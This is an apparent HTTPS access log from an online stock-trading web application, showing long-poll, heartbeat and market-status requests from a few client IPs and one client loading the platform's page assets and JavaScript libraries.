[09/Jan/2026:13:22:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:22:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936397301 HTTP/1.1" -
[09/Jan/2026:13:22:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936414194 HTTP/1.1" -
[09/Jan/2026:13:22:13 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936402355 HTTP/1.1" -
[09/Jan/2026:13:22:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936420187 HTTP/1.1" -
[09/Jan/2026:13:22:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:22:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936407469 HTTP/1.1" -
[09/Jan/2026:13:22:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936426185 HTTP/1.1" -
[09/Jan/2026:13:22:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936412531 HTTP/1.1" -
[09/Jan/2026:13:22:27 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936432198 HTTP/1.1" -
[09/Jan/2026:13:22:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936417659 HTTP/1.1" -
[09/Jan/2026:13:22:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:32 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:22:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936438189 HTTP/1.1" -
[09/Jan/2026:13:22:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936422844 HTTP/1.1" -
[09/Jan/2026:13:22:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:34 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:22:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:22:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936427979 HTTP/1.1" -
[09/Jan/2026:13:22:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936444187 HTTP/1.1" -
[09/Jan/2026:13:22:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936433027 HTTP/1.1" -
[09/Jan/2026:13:22:45 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936450195 HTTP/1.1" -
[09/Jan/2026:13:22:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:22:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:22:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936438209 HTTP/1.1" -
[09/Jan/2026:13:22:51 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936456192 HTTP/1.1" -
[09/Jan/2026:13:22:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936443254 HTTP/1.1" -
[09/Jan/2026:13:22:57 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936462192 HTTP/1.1" -
[09/Jan/2026:13:22:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936448438 HTTP/1.1" -
[09/Jan/2026:13:23:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:23:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936468187 HTTP/1.1" -
[09/Jan/2026:13:23:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:04 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:23:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936453572 HTTP/1.1" -
[09/Jan/2026:13:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:13:23:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936474188 HTTP/1.1" -
[09/Jan/2026:13:23:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936458718 HTTP/1.1" -
[09/Jan/2026:13:23:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936463794 HTTP/1.1" -
[09/Jan/2026:13:23:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936480191 HTTP/1.1" -
[09/Jan/2026:13:23:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:13:23:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:13:23:20 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936468925 HTTP/1.1" -
[09/Jan/2026:13:23:21 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936486187 HTTP/1.1" -
[09/Jan/2026:13:23:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767936474033 HTTP/1.1" -
[09/Jan/2026:13:23:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/main.html?language=tc&version=HTML HTTP/1.1" 3578
[09/Jan/2026:13:23:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/ui.datepicker.css HTTP/1.1" 1145
[09/Jan/2026:13:23:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-theme.blue.css HTTP/1.1" 2083
[09/Jan/2026:13:23:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/dragtable-2.0.9.css HTTP/1.1" 316
[09/Jan/2026:13:23:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.css HTTP/1.1" 5283
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.ba-postmessage.js HTTP/1.1" 2990
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aastock.js HTTP/1.1" 553
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-1.6.3.min.js HTTP/1.1" 32057
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cache.js?jsv=20200819161914 HTTP/1.1" 940
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:13:23:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
